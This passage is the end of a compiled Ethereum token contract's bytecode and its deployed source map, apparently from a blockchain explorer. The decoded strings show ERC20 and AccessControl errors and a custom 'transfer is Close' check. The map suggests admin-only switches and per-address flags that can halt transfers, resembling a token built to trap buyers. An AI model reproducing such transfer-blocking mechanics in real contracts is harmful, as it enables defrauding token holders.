5f8301846121fc565b92915050565b5f6020828403121561223957612238611e7a565b5b5f61224684828501612007565b91505092915050565b5f806040838503121561226557612264611e7a565b5b5f61227285828601612007565b925050602061228385828601612007565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806122d157607f821691505b6020821081036122e4576122e361228d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612344602883611f3b565b915061234f826122ea565b604082019050919050565b5f6020820190508181035f83015261237181612338565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f6123d2602f83611f3b565b91506123dd82612378565b604082019050919050565b5f6020820190508181035f8301526123ff816123c6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61243d8261201b565b91506124488361201b565b92508282019050808211156124605761245f612406565b5b92915050565b5f6124708261201b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036124a2576124a1612406565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612507602583611f3b565b9150612512826124ad565b604082019050919050565b5f6020820190508181035f830152612534816124fb565b9050919050565b5f6125458261201b565b91506125508361201b565b925082820261255e8161201b565b9150828204841483151761257557612574612406565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125d6602483611f3b565b91506125e18261257c565b604082019050919050565b5f6020820190508181035f830152612603816125ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612664602283611f3b565b915061266f8261260a565b604082019050919050565b5f6020820190508181035f83015261269181612658565b9050919050565b7f45524332303a7472616e736665722066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126f2602483611f3b565b91506126fd82612698565b604082019050919050565b5f6020820190508181035f83015261271f816126e6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612780602683611f3b565b915061278b82612726565b604082019050919050565b5f6020820190508181035f8301526127ad81612774565b9050919050565b7f7472616e7366657220697320436c6f73650000000000000000000000000000005f82015250565b5f6127e8601183611f3b565b91506127f3826127b4565b602082019050919050565b5f6020820190508181035f830152612815816127dc565b9050919050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f61285a60178361281c565b915061286582612826565b601782019050919050565b5f61287a82611f31565b612884818561281c565b9350612894818560208601611f4b565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f6128d460118361281c565b91506128df826128a0565b601182019050919050565b5f6128f48261284e565b91506129008285612870565b915061290b826128c8565b91506129178284612870565b91508190509392505050565b5f61292d8261201b565b91506129388361201b565b92508282039050818111156129505761294f612406565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129ba8261201b565b91505f82036129cc576129cb612406565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612a0b602083611f3b565b9150612a16826129d7565b602082019050919050565b5f6020820190508181035f830152612a38816129ff565b905091905056fea2646970667358221220d0db1422f05aa8a9cd643d1f69f8e376527aef14ec2f7f978fd5f885072b389664736f6c63430008190033
Deployed Bytecode Sourcemap
14029:3053:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5604:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9419:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10327:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9738:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10504:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6460:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14106:47;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5456:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6590:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9637:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6876:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11003:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15010:68;;;:::i;:::-;;16645:95;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9853:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16750:322;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5810:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9526:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11226:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9987:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15091:68;;;:::i;:::-;;6731:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14910:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14698:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14611:81;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10169:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14820:84;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5604:197;5689:4;5728:25;5713:40;;;:11;:40;;;;:80;;;;5757:36;5781:11;5757:23;:36::i;:::-;5713:80;5706:87;;5604:197;;;:::o;9419:100::-;9473:13;9506:5;9499:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9419:100;:::o;10327:169::-;10410:4;10427:39;10436:12;:10;:12::i;:::-;10450:7;10459:6;10427:8;:39::i;:::-;10484:4;10477:11;;10327:169;;;;:::o;9738:108::-;9799:7;9826:12;;9819:19;;9738:108;:::o;10504:492::-;10644:4;10661:36;10671:6;10679:9;10690:6;10661:9;:36::i;:::-;10710:24;10737:11;:19;10749:6;10737:19;;;;;;;;;;;;;;;:33;10757:12;:10;:12::i;:::-;10737:33;;;;;;;;;;;;;;;;10710:60;;10809:6;10789:16;:26;;10781:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;10896:57;10905:6;10913:12;:10;:12::i;:::-;10946:6;10927:16;:25;10896:8;:57::i;:::-;10984:4;10977:11;;;10504:492;;;;;:::o;6460:123::-;6526:7;6553:6;:12;6560:4;6553:12;;;;;;;;;;;:22;;;6546:29;;6460:123;;;:::o;14106:47::-;;;;;;;;;;;;;:::o;5456:36::-;5488:4;5456:36;;;:::o;6590:134::-;5488:4;6673:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;6691:25:::1;6702:4;6708:7;6691:10;:25::i;:::-;6590:134:::0;;;:::o;9637:93::-;9695:5;9720:2;9713:9;;9637:93;:::o;6876:218::-;6983:12;:10;:12::i;:::-;6972:23;;:7;:23;;;6964:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;7060:26;7072:4;7078:7;7060:11;:26::i;:::-;6876:218;;:::o;11003:215::-;11091:4;11108:80;11117:12;:10;:12::i;:::-;11131:7;11177:10;11140:11;:25;11152:12;:10;:12::i;:::-;11140:25;;;;;;;;;;;;;;;:34;11166:7;11140:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;11108:8;:80::i;:::-;11206:4;11199:11;;11003:215;;;;:::o;15010:68::-;5488:4;15042:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;15064:5:::1;15058;;:11;;;;;;;;;;;;;;;;;;15010:68:::0;:::o;16645:95::-;5488:4;16695:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;16725:7:::1;16712:12;;:20;;;;;;;;;;;;;;;;;;16645:95:::0;;:::o;9853:127::-;9927:7;9954:9;:18;9964:7;9954:18;;;;;;;;;;;;;;;;9947:25;;9853:127;;;:::o;16750:322::-;16798:7;5488:4;16783:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;16817:13:::1;16847::::0;16843:202:::1;16869:7;;16863:5;:13;16843:202;;;16900:12;16913:4;:11;16918:5;16913:11;;;;;;;;;;;;;;;;;;;;;16900:24;;16956:1;16942:6;:12;16949:4;16942:12;;;;;;;;;;;;;;;;:15:::0;16939:94:::1;;16990:1;16977:6;:12;16984:4;16977:12;;;;;;;;;;;;;;;:14;;;;17010:7;;;;;:::i;:::-;;;;16939:94;16885:160;16877:7;;;;;;;16843:202;;;;17059:5;17052:12;;;16750:322:::0;;:::o;5810:139::-;5888:4;5912:6;:12;5919:4;5912:12;;;;;;;;;;;:20;;:29;5933:7;5912:29;;;;;;;;;;;;;;;;;;;;;;;;;5905:36;;5810:139;;;;:::o;9526:104::-;9582:13;9615:7;9608:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9526:104;:::o;11226:413::-;11319:4;11336:24;11363:11;:25;11375:12;:10;:12::i;:::-;11363:25;;;;;;;;;;;;;;;:34;11389:7;11363:34;;;;;;;;;;;;;;;;11336:61;;11436:15;11416:16;:35;;11408:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11529:67;11538:12;:10;:12::i;:::-;11552:7;11580:15;11561:16;:34;11529:8;:67::i;:::-;11627:4;11620:11;;;11226:413;;;;:::o;9987:175::-;10073:4;10090:42;10100:12;:10;:12::i;:::-;10114:9;10125:6;10090:9;:42::i;:::-;10150:4;10143:11;;9987:175;;;;:::o;15091:68::-;5488:4;15124:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;15146:4:::1;15140:5;;:10;;;;;;;;;;;;;;;;;;15091:68:::0;:::o;6731:136::-;5488:4;6815:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;6833:26:::1;6845:4;6851:7;6833:11;:26::i;:::-;6731:136:::0;;;:::o;14910:85::-;5488:4;14956:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;14986:1:::1;14973:6;:12;14980:4;14973:12;;;;;;;;;;;;;;;:14;;;;14910:85:::0;;:::o;14698:115::-;5488:4;14761:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;14799:6:::1;14792;:13;;;;:::i;:::-;14779:6;:12;14786:4;14779:12;;;;;;;;;;;;;;;:26;;;;14698:115:::0;;;:::o;14611:81::-;5488:4;14657:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;14681:3:::1;14674:6;;:10;;;;;;;;;;;;;;;;;;14611:81:::0;;:::o;10169:151::-;10258:7;10285:11;:18;10297:5;10285:18;;;;;;;;;;;;;;;:27;10304:7;10285:27;;;;;;;;;;;;;;;;10278:34;;10169:151;;;;:::o;14820:84::-;5488:4;14865:5;;5547:30;5558:4;5564:12;:10;:12::i;:::-;5547:10;:30::i;:::-;14895:1:::1;14882:6;:12;14889:4;14882:12;;;;;;;;;;;;;;;:14;;;;14820:84:::0;;:::o;292:157::-;377:4;416:25;401:40;;;:11;:40;;;;394:47;;292:157;;;:::o;3592:98::-;3645:7;3672:10;3665:17;;3592:98;:::o;13375:379::-;13528:1;13511:19;;:5;:19;;;13503:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13609:1;13590:21;;:7;:21;;;13582:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13692:6;13662:11;:18;13674:5;13662:18;;;;;;;;;;;;;;;:27;13681:7;13662:27;;;;;;;;;;;;;;;:36;;;;13730:7;13714:32;;13723:5;13714:32;;;13739:6;13714:32;;;;;;:::i;:::-;;;;;;;;13375:379;;;:::o;15169:1465::-;15285:1;15271:16;;:4;:16;;;15263:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15358:1;15346:14;;:2;:14;;;15338:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15416:21;15440:9;:15;15450:4;15440:15;;;;;;;;;;;;;;;;15416:39;;15494:6;15477:13;:23;;15469:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;15573:1;15566:6;:8;15558:17;;;;;;15597:12;;;;;;;;;;;15591:18;;:4;:18;;;15588:97;;15639:2;15625:4;:13;15630:7;;15625:13;;;;;;;;;;;;:16;;;;;;;;;;;;;;;;;;15672:1;15664:7;;:9;;;;:::i;:::-;15656:7;:17;;;;15588:97;15698:5;;;;;;;;;;;15695:172;;;15728:12;;;;;;;;;;;15722:18;;:4;:18;;;:34;;;;15750:6;;;;;;;;;;;15744:12;;:4;:12;;;15722:34;15719:134;;15811:5;15803:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;15719:134;15695:172;15885:12;;;;;;;;;;;15881:16;;:2;:16;;;15878:551;;15932:1;15918:6;:12;15925:4;15918:12;;;;;;;;;;;;;;;;:15;:40;;;;;15952:6;15938;:12;15945:4;15938:12;;;;;;;;;;;;;;;;:20;;15918:40;15915:223;;;15991:24;16008:6;15991;:12;15998:4;15991:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;15978:6;:12;15985:4;15978:12;;;;;;;;;;;;;;;:37;;;;15915:223;;;16078:1;16064:6;:12;16071:4;16064:12;;;;;;;;;;;;;;;;:15;16056:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;15915:223;15878:551;;;16163:12;;;;;;;;;;;16157:18;;:4;:18;;;16154:275;;16210:1;16196:6;:12;16203:4;16196:12;;;;;;;;;;;;;;;;:15;:40;;;;;16230:6;16216;:12;16223:4;16216:12;;;;;;;;;;;;;;;;:20;;16196:40;16193:225;;;16270:24;16287:6;16270;:12;16277:4;16270:12;;;;;;;;;;;;;;;;:16;;:24;;;;:::i;:::-;16257:6;:12;16264:4;16257:12;;;;;;;;;;;;;;;:37;;;;16193:225;;;16358:1;16344:6;:12;16351:4;16344:12;;;;;;;;;;;;;;;;:15;16336:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;16193:225;16154:275;15878:551;16488:25;16506:6;16488:13;:17;;:25;;;;:::i;:::-;16470:9;:15;16480:4;16470:15;;;;;;;;;;;;;;;:43;;;;16555:25;16573:6;16555:9;:13;16565:2;16555:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;16539:9;:13;16549:2;16539:13;;;;;;;;;;;;;;;:41;;;;16614:2;16599:26;;16608:4;16599:26;;;16618:6;16599:26;;;;;;:::i;:::-;;;;;;;;15252:1382;15169:1465;;;:::o;5956:497::-;6037:22;6045:4;6051:7;6037;:22::i;:::-;6032:414;;6225:41;6253:7;6225:41;;6263:2;6225:19;:41::i;:::-;6339:38;6367:4;6359:13;;6374:2;6339:19;:38::i;:::-;6130:270;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6076:358;;;;;;;;;;;:::i;:::-;;;;;;;;6032:414;5956:497;;:::o;7478:238::-;7562:22;7570:4;7576:7;7562;:22::i;:::-;7557:152;;7633:4;7601:6;:12;7608:4;7601:12;;;;;;;;;;;:20;;:29;7622:7;7601:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;7684:12;:10;:12::i;:::-;7657:40;;7675:7;7657:40;;7669:4;7657:40;;;;;;;;;;7557:152;7478:238;;:::o;7723:239::-;7807:22;7815:4;7821:7;7807;:22::i;:::-;7803:152;;;7878:5;7846:6;:12;7853:4;7846:12;;;;;;;;;;;:20;;:29;7867:7;7846:29;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;7930:12;:10;:12::i;:::-;7903:40;;7921:7;7903:40;;7915:4;7903:40;;;;;;;;;;7803:152;7723:239;;:::o;1700:98::-;1758:7;1789:1;1785;:5;;;;:::i;:::-;1778:12;;1700:98;;;;:::o;1595:::-;1653:7;1684:1;1680;:5;;;;:::i;:::-;1673:12;;1595:98;;;;:::o;4783:451::-;4858:13;4884:19;4929:1;4920:6;4916:1;:10;;;;:::i;:::-;:14;;;;:::i;:::-;4906:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4884:47;;4942:15;:6;4949:1;4942:9;;;;;;;;:::i;:::-;;;;;:15;;;;;;;;;;;4968;:6;4975:1;4968:9;;;;;;;;:::i;:::-;;;;;:15;;;;;;;;;;;4999:9;5024:1;5015:6;5011:1;:10;;;;:::i;:::-;:14;;;;:::i;:::-;4999:26;;4994:135;5031:1;5027;:5;4994:135;;;5066:12;5087:3;5079:5;:11;5066:25;;;;;;;:::i;:::-;;;;;5054:6;5061:1;5054:9;;;;;;;;:::i;:::-;;;;;:37;;;;;;;;;;;5116:1;5106:11;;;;;5034:3;;;;:::i;:::-;;;4994:135;;;;5156:1;5147:5;:10;5139:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;5219:6;5205:21;;;4783:451;;;;:::o;88:117:1:-;197:1;194;187:12;334:149;370:7;410:66;403:5;399:78;388:89;;334:149;;;:::o;489:120::-;561:23;578:5;561:23;:::i;:::-;554:5;551:34;541:62;;599:1;596;589:12;541:62;489:120;:::o;615:137::-;660:5;698:6;685:20;676:29;;714:32;740:5;714:32;:::i;:::-;615:137;;;;:::o;758:327::-;816:6;865:2;853:9;844:7;840:23;836:32;833:119;;;871:79;;:::i;:::-;833:119;991:1;1016:52;1060:7;1051:6;1040:9;1036:22;1016:52;:::i;:::-;1006:62;;962:116;758:327;;;;:::o;1091:90::-;1125:7;1168:5;1161:13;1154:21;1143:32;;1091:90;;;:::o;1187:109::-;1268:21;1283:5;1268:21;:::i;:::-;1263:3;1256:34;1187:109;;:::o;1302:210::-;1389:4;1427:2;1416:9;1412:18;1404:26;;1440:65;1502:1;1491:9;1487:17;1478:6;1440:65;:::i;:::-;1302:210;;;;:::o;1518:99::-;1570:6;1604:5;1598:12;1588:22;;1518:99;;;:::o;1623:169::-;1707:11;1741:6;1736:3;1729:19;1781:4;1776:3;1772:14;1757:29;;1623:169;;;;:::o;1798:139::-;1887:6;1882:3;1877;1871:23;1928:1;1919:6;1914:3;1910:16;1903:27;1798:139;;;:::o;1943:102::-;1984:6;2035:2;2031:7;2026:2;2019:5;2015:14;2011:28;2001:38;;1943:102;;;:::o;2051:377::-;2139:3;2167:39;2200:5;2167:39;:::i;:::-;2222:71;2286:6;2281:3;2222:71;:::i;:::-;2215:78;;2302:65;2360:6;2355:3;2348:4;2341:5;2337:16;2302:65;:::i;:::-;2392:29;2414:6;2392:29;:::i;:::-;2387:3;2383:39;2376:46;;2143:285;2051:377;;;;:::o;2434:313::-;2547:4;2585:2;2574:9;2570:18;2562:26;;2634:9;2628:4;2624:20;2620:1;2609:9;2605:17;2598:47;2662:78;2735:4;2726:6;2662:78;:::i;:::-;2654:86;;2434:313;;;;:::o;2753:126::-;2790:7;2830:42;2823:5;2819:54;2808:65;;2753:126;;;:::o;2885:96::-;2922:7;2951:24;2969:5;2951:24;:::i;:::-;2940:35;;2885:96;;;:::o;2987:122::-;3060:24;3078:5;3060:24;:::i;:::-;3053:5;3050:35;3040:63;;3099:1;3096;3089:12;3040:63;2987:122;:::o;3115:139::-;3161:5;3199:6;3186:20;3177:29;;3215:33;3242:5;3215:33;:::i;:::-;3115:139;;;;:::o;3260:77::-;3297:7;3326:5;3315:16;;3260:77;;;:::o;3343:122::-;3416:24;3434:5;3416:24;:::i;:::-;3409:5;3406:35;3396:63;;3455:1;3452;3445:12;3396:63;3343:122;:::o;3471:139::-;3517:5;3555:6;3542:20;3533:29;;3571:33;3598:5;3571:33;:::i;:::-;3471:139;;;;:::o;3616:474::-;3684:6;3692;3741:2;3729:9;3720:7;3716:23;3712:32;3709:119;;;3747:79;;:::i;:::-;3709:119;3867:1;3892:53;3937:7;3928:6;3917:9;3913:22;3892:53;:::i;:::-;3882:63;;3838:117;3994:2;4020:53;4065:7;4056:6;4045:9;4041:22;4020:53;:::i;:::-;4010:63;;3965:118;3616:474;;;;;:::o;4096:118::-;4183:24;4201:5;4183:24;:::i;:::-;4178:3;4171:37;4096:118;;:::o;4220:222::-;4313:4;4351:2;4340:9;4336:18;4328:26;;4364:71;4432:1;4421:9;4417:17;4408:6;4364:71;:::i;:::-;4220:222;;;;:::o;4448:619::-;4525:6;4533;4541;4590:2;4578:9;4569:7;4565:23;4561:32;4558:119;;;4596:79;;:::i;:::-;4558:119;4716:1;4741:53;4786:7;4777:6;4766:9;4762:22;4741:53;:::i;:::-;4731:63;;4687:117;4843:2;4869:53;4914:7;4905:6;4894:9;4890:22;4869:53;:::i;:::-;4859:63;;4814:118;4971:2;4997:53;5042:7;5033:6;5022:9;5018:22;4997:53;:::i;:::-;4987:63;;4942:118;4448:619;;;;;:::o;5073:77::-;5110:7;5139:5;5128:16;;5073:77;;;:::o;5156:122::-;5229:24;5247:5;5229:24;:::i;:::-;5222:5;5219:35;5209:63;;5268:1;5265;5258:12;5209:63;5156:122;:::o;5284:139::-;5330:5;5368:6;5355:20;5346:29;;5384:33;5411:5;5384:33;:::i;:::-;5284:139;;;;:::o;5429:329::-;5488:6;5537:2;5525:9;5516:7;5512:23;5508:32;5505:119;;;5543:79;;:::i;:::-;5505:119;5663:1;5688:53;5733:7;5724:6;5713:9;5709:22;5688:53;:::i;:::-;5678:63;;5634:117;5429:329;;;;:::o;5764:118::-;5851:24;5869:5;5851:24;:::i;:::-;5846:3;5839:37;5764:118;;:::o;5888:222::-;5981:4;6019:2;6008:9;6004:18;5996:26;;6032:71;6100:1;6089:9;6085:17;6076:6;6032:71;:::i;:::-;5888:222;;;;:::o;6116:118::-;6203:24;6221:5;6203:24;:::i;:::-;6198:3;6191:37;6116:118;;:::o;6240:222::-;6333:4;6371:2;6360:9;6356:18;6348:26;;6384:71;6452:1;6441:9;6437:17;6428:6;6384:71;:::i;:::-;6240:222;;;;:::o;6468:474::-;6536:6;6544;6593:2;6581:9;6572:7;6568:23;6564:32;6561:119;;;6599:79;;:::i;:::-;6561:119;6719:1;6744:53;6789:7;6780:6;6769:9;6765:22;6744:53;:::i;:::-;6734:63;;6690:117;6846:2;6872:53;6917:7;6908:6;6897:9;6893:22;6872:53;:::i;:::-;6862:63;;6817:118;6468:474;;;;;:::o;6948:86::-;6983:7;7023:4;7016:5;7012:16;7001:27;;6948:86;;;:::o;7040:112::-;7123:22;7139:5;7123:22;:::i;:::-;7118:3;7111:35;7040:112;;:::o;7158:214::-;7247:4;7285:2;7274:9;7270:18;7262:26;;7298:67;7362:1;7351:9;7347:17;7338:6;7298:67;:::i;:::-;7158:214;;;;:::o;7378:329::-;7437:6;7486:2;7474:9;7465:7;7461:23;7457:32;7454:119;;;7492:79;;:::i;:::-;7454:119;7612:1;7637:53;7682:7;7673:6;7662:9;7658:22;7637:53;:::i;:::-;7627:63;;7583:117;7378:329;;;;:::o;7713:474::-;7781:6;7789;7838:2;7826:9;7817:7;7813:23;7809:32;7806:119;;;7844:79;;:::i;:::-;7806:119;7964:1;7989:53;8034:7;8025:6;8014:9;8010:22;7989:53;:::i;:::-;7979:63;;7935:117;8091:2;8117:53;8162:7;8153:6;8142:9;8138:22;8117:53;:::i;:::-;8107:63;;8062:118;7713:474;;;;;:::o;8193:180::-;8241:77;8238:1;8231:88;8338:4;8335:1;8328:15;8362:4;8359:1;8352:15;8379:320;8423:6;8460:1;8454:4;8450:12;8440:22;;8507:1;8501:4;8497:12;8528:18;8518:81;;8584:4;8576:6;8572:17;8562:27;;8518:81;8646:2;8638:6;8635:14;8615:18;8612:38;8609:84;;8665:18;;:::i;:::-;8609:84;8430:269;8379:320;;;:::o;8705:227::-;8845:34;8841:1;8833:6;8829:14;8822:58;8914:10;8909:2;8901:6;8897:15;8890:35;8705:227;:::o;8938:366::-;9080:3;9101:67;9165:2;9160:3;9101:67;:::i;:::-;9094:74;;9177:93;9266:3;9177:93;:::i;:::-;9295:2;9290:3;9286:12;9279:19;;8938:366;;;:::o;9310:419::-;9476:4;9514:2;9503:9;9499:18;9491:26;;9563:9;9557:4;9553:20;9549:1;9538:9;9534:17;9527:47;9591:131;9717:4;9591:131;:::i;:::-;9583:139;;9310:419;;;:::o;9735:234::-;9875:34;9871:1;9863:6;9859:14;9852:58;9944:17;9939:2;9931:6;9927:15;9920:42;9735:234;:::o;9975:366::-;10117:3;10138:67;10202:2;10197:3;10138:67;:::i;:::-;10131:74;;10214:93;10303:3;10214:93;:::i;:::-;10332:2;10327:3;10323:12;10316:19;;9975:366;;;:::o;10347:419::-;10513:4;10551:2;10540:9;10536:18;10528:26;;10600:9;10594:4;10590:20;10586:1;10575:9;10571:17;10564:47;10628:131;10754:4;10628:131;:::i;:::-;10620:139;;10347:419;;;:::o;10772:180::-;10820:77;10817:1;10810:88;10917:4;10914:1;10907:15;10941:4;10938:1;10931:15;10958:191;10998:3;11017:20;11035:1;11017:20;:::i;:::-;11012:25;;11051:20;11069:1;11051:20;:::i;:::-;11046:25;;11094:1;11091;11087:9;11080:16;;11115:3;11112:1;11109:10;11106:36;;;11122:18;;:::i;:::-;11106:36;10958:191;;;;:::o;11155:233::-;11194:3;11217:24;11235:5;11217:24;:::i;:::-;11208:33;;11263:66;11256:5;11253:77;11250:103;;11333:18;;:::i;:::-;11250:103;11380:1;11373:5;11369:13;11362:20;;11155:233;;;:::o;11394:224::-;11534:34;11530:1;11522:6;11518:14;11511:58;11603:7;11598:2;11590:6;11586:15;11579:32;11394:224;:::o;11624:366::-;11766:3;11787:67;11851:2;11846:3;11787:67;:::i;:::-;11780:74;;11863:93;11952:3;11863:93;:::i;:::-;11981:2;11976:3;11972:12;11965:19;;11624:366;;;:::o;11996:419::-;12162:4;12200:2;12189:9;12185:18;12177:26;;12249:9;12243:4;12239:20;12235:1;12224:9;12220:17;12213:47;12277:131;12403:4;12277:131;:::i;:::-;12269:139;;11996:419;;;:::o;12421:410::-;12461:7;12484:20;12502:1;12484:20;:::i;:::-;12479:25;;12518:20;12536:1;12518:20;:::i;:::-;12513:25;;12573:1;12570;12566:9;12595:30;12613:11;12595:30;:::i;:::-;12584:41;;12774:1;12765:7;12761:15;12758:1;12755:22;12735:1;12728:9;12708:83;12685:139;;12804:18;;:::i;:::-;12685:139;12469:362;12421:410;;;;:::o;12837:223::-;12977:34;12973:1;12965:6;12961:14;12954:58;13046:6;13041:2;13033:6;13029:15;13022:31;12837:223;:::o;13066:366::-;13208:3;13229:67;13293:2;13288:3;13229:67;:::i;:::-;13222:74;;13305:93;13394:3;13305:93;:::i;:::-;13423:2;13418:3;13414:12;13407:19;;13066:366;;;:::o;13438:419::-;13604:4;13642:2;13631:9;13627:18;13619:26;;13691:9;13685:4;13681:20;13677:1;13666:9;13662:17;13655:47;13719:131;13845:4;13719:131;:::i;:::-;13711:139;;13438:419;;;:::o;13863:221::-;14003:34;13999:1;13991:6;13987:14;13980:58;14072:4;14067:2;14059:6;14055:15;14048:29;13863:221;:::o;14090:366::-;14232:3;14253:67;14317:2;14312:3;14253:67;:::i;:::-;14246:74;;14329:93;14418:3;14329:93;:::i;:::-;14447:2;14442:3;14438:12;14431:19;;14090:366;;;:::o;14462:419::-;14628:4;14666:2;14655:9;14651:18;14643:26;;14715:9;14709:4;14705:20;14701:1;14690:9;14686:17;14679:47;14743:131;14869:4;14743:131;:::i;:::-;14735:139;;14462:419;;;:::o;14887:223::-;15027:34;15023:1;15015:6;15011:14;15004:58;15096:6;15091:2;15083:6;15079:15;15072:31;14887:223;:::o;15116:366::-;15258:3;15279:67;15343:2;15338:3;15279:67;:::i;:::-;15272:74;;15355:93;15444:3;15355:93;:::i;:::-;15473:2;15468:3;15464:12;15457:19;;15116:366;;;:::o;15488:419::-;15654:4;15692:2;15681:9;15677:18;15669:26;;15741:9;15735:4;15731:20;15727:1;15716:9;15712:17;15705:47;15769:131;15895:4;15769:131;:::i;:::-;15761:139;;15488:419;;;:::o;15913:225::-;16053:34;16049:1;16041:6;16037:14;16030:58;16122:8;16117:2;16109:6;16105:15;16098:33;15913:225;:::o;16144:366::-;16286:3;16307:67;16371:2;16366:3;16307:67;:::i;:::-;16300:74;;16383:93;16472:3;16383:93;:::i;:::-;16501:2;16496:3;16492:12;16485:19;;16144:366;;;:::o;16516:419::-;16682:4;16720:2;16709:9;16705:18;16697:26;;16769:9;16763:4;16759:20;16755:1;16744:9;16740:17;16733:47;16797:131;16923:4;16797:131;:::i;:::-;16789:139;;16516:419;;;:::o;16941:167::-;17081:19;17077:1;17069:6;17065:14;17058:43;16941:167;:::o